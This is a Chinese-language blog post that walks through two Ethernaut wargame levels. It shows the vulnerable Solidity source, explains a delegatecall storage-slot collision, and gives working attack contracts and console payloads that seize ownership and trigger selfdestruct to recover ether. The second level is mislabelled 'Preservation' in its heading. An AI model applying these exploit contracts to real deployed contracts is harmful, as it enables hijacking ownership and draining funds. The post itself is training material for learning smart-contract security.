0%

区块链学习之肆

区块链学习之肆

老想学币了,可是币太贵了;

ethernaut - Preservation

description

1
2
3
4
5
6
7
8
9
10
// This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored.

// The goal of this level is for you to claim ownership of the instance you are given.

// Things that might help

// Look into Solidity's documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain. libraries, and what implications it has on execution scope.
// Understanding what it means for delegatecall to be context-preserving.
// Understanding how storage variables are stored and accessed.
// Understanding how casting works between different data types.

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint256 storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint256 _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}

// set the time for timezone 2
function setSecondTime(uint256 _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}

// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint256 storedTime;

function setTime(uint256 _time) public {
storedTime = _time;
}
}

分析源码,Preservation 定义了两个成员合约,可以存储时间,然后定义两个函数,通过 delegatecall() 调用 setTime()

delegatecall() 的特点在这,在执行目标函数的时候,并不改变执行的上下文,本意是提供调用库函数的功能,但自然也能修改原合约的成员变量;

但如何污染库?其实这个合约函数本身写的是有问题的,storedTime = _time; 这个赋值操作在原文的上下文中并不能找到 uint256 storedTime,而是将在 delegatecall() 的上下文中与 LibraryContractuint256 storedTime 对应的 Storage 槽的对应位置的存储赋为目标值,这是 delegatecall() 的特性;

timeZone1Libraryuint256 storedTime 位于第 1 个槽(填满),对应 Preservationaddress public timeZone1Library ;

故而解题思路是,部署一个能修改 owner 的恶意合约,然后以上述原理将 timeZone1LibrarytimeZone2Library.setTime() 污染为恶意合约地址,再调用 timeZone1Library.setTime() 即可;

题解

attack contract

1
2
3
4
5
6
7
8
9
10
11
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract PreservationAttack{
address public timeZone1Library;
address public timeZone2Library;
address public owner;
function setTime(uint256) public {
owner = tx.origin;
}
}

得到恶意合约 0x72872ddD9571727C9F8Fe91Cb6023deFCCF8a423

payload

1
2
3
4
5
// pollute timeZone1Library 
await contract.setSecondTime('0x72872ddD9571727C9F8Fe91Cb6023deFCCF8a423')

// delecatecall attack contract
await contract.setFirstTime('0x0')

成功;

ethernaut - Preservation

description

1
2
3
// A contract creator has built a very simple token factory contract. Anyone can create new tokens with ease. After deploying the first token contract, the creator sent 0.001 ether to obtain more tokens. They have since lost the contract address.

// This level will be completed if you can recover (or remove) the 0.001 ether from the lost contract address.

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}

contract SimpleToken {
string public name;
mapping(address => uint256) public balances;

// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) {
name = _name;
balances[_creator] = _initialSupply;
}

// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value * 10;
}

// allow transfers of tokens
function transfer(address _to, uint256 _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender] - _amount;
balances[_to] = _amount;
}

// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}

第一次 generateToken() 生成的 SimpleToken 合约地址丢失了,现在要想办法恢复向原 SimpleToken 发送的0,001 Ether

区块链上的动作都是透明的,故而用 Etherscan 查询 instance 合约的交易记录:

发现创建合约,点进去查看余额和目标 SimpleToken 的地址:

找到了丢失的合约地址,又因为合约具有 destroy 函数,调用即可;

题解

attack contract

1
2
3
4
5
6
7
8
9
10
11
12
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract RecoveryAttack {
event log(bool);
event log(string);

constructor(address _victim) {
(bool is_success,) = _victim.call(abi.encodeWithSignature("destroy(address)", payable(tx.origin)));
emit log(is_success);
}
}

exploit 最短的一集,重点还是区块链上函数调用记录的透明性;

庆祝生活回到正轨且正轨变宽

想起来我删了很久的一条:

1
// 那就让我们来比一比,看看谁活得更精彩。

输了我就躺下,不过好像一直在赢,多久会输呢,敢不敢输呢;

没想过,我相信不是不敢想,而只是被蒙蔽住了,或者占用掉了。